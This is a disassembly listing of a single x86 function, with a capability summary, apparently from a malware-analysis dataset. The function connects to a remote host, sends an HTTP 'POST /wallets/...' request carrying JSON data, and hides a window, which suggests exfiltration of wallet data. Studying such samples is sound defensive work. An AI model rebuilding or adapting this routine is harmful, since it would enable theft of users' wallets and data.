Function at 0x406430
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Hide graphical window
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x430
mov eax, dword [0x430034]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
push ebx
push esi
push edi
mov eax, dword [edx]
mov dword [ebp - 0x42c], ecx
lea ecx, [ebp - 0x41c]
push ecx
push edx
mov dword [ebp - 0x41c], 0
call dword [eax + 0x14]
mov edi, dword [ebp - 0x41c]
test edi, edi
jne 0x406474
xor esi, esi
jmp 0x40648d
cmp word [edi], 0
mov esi, edi
je 0x406489
nop dword [eax]
add esi, 2
cmp word [esi], 0
jne 0x406480
sub esi, edi
sar esi, 1
lea eax, [esi + 1]
mov dword [ebp - 0x418], 0
push eax
call fcn.00414236
add esp, 4
lea ecx, [esi + esi]
mov ebx, eax
lea eax, [ebp - 0x418]
mov dword [ebp - 0x430], ebx
push ecx
push edi
push eax
push esi
push ebx
call dword [sym.imp.ntdll.dll_RtlUnicodeToMultiByteN]
mov eax, dword [ebp - 0x418]
movzx esi, word [0x453690]
push 6
push 1
mov byte [eax + ebx], 0
mov al, byte [0x453692]
push 2
mov byte [ebp - 0x421], al
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
test edi, edi
je 0x406671
xorps xmm0, xmm0
rol si, 8
cmp byte [ebp - 0x421], 0
mov eax, 2
movups xmmword [ebp - 0x414], xmm0
mov word [ebp - 0x414], ax
mov word [ebp - 0x412], si
push 0x453af0
je 0x406528
call dword [sym.imp.WS2_32.dll_inet_addr]
jmp 0x406539
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x406553
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x410], eax
lea eax, [ebp - 0x414]
push 0x10
push eax
push edi
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jns 0x40655f
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x406671
test edi, edi
je 0x406671
cmp word [0x433660], 0
mov esi, 0x433660
je 0x40657f
add esi, 2
cmp word [esi], 0
jne 0x406576
sub esi, 0x433660
mov dword [ebp - 0x420], 0
sar esi, 1
lea eax, [esi + 1]
push eax
call fcn.00414236
add esp, 4
mov dword [ebp - 0x428], eax
lea ecx, [esi + esi]
push ecx
push 0x433660
lea ecx, [ebp - 0x420]
push ecx
push esi
push eax
call dword [sym.imp.ntdll.dll_RtlUnicodeToMultiByteN]
mov eax, dword [ebp - 0x428]
mov ecx, dword [ebp - 0x420]
push ebx
push dword [ebp - 0x418]
push 0x453af0
push eax
mov byte [ecx + eax], 0
lea eax, [ebp - 0x404]
push str.POST__wallets__s_0_HTTP_1.1_r_nContent_Type:_application_json_r_nHost:__s_r_nContent_Length:__d_r_n_r_n_s_r_n
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov ebx, eax
add esp, 0x18
xor esi, esi
test ebx, ebx
je 0x406617
push 0
mov eax, ebx
sub eax, esi
push eax
lea eax, [ebp - 0x404]
add eax, esi
push eax
push edi
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x406617
add esi, eax
cmp esi, ebx
jne 0x4065f5
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
push dword [ebp - 0x428]
call fcn.0041421b
mov esi, dword [ebp - 0x42c]
add esp, 4
mov eax, dword [esi]
push 0
push dword [eax*4 + 0x453694]
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [esi]
mov ebx, dword [ebp - 0x430]
mov byte [0x4536dd], 0
mov dword [0x432414], 0
mov dword [eax*4 + 0x4536b8], 0
mov dword [0x453bf0], 0
push ebx
call fcn.0041421b
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
xor eax, eax
pop edi
pop esi
pop ebx
call fcn.0040e688
mov esp, ebp
pop ebp
ret 8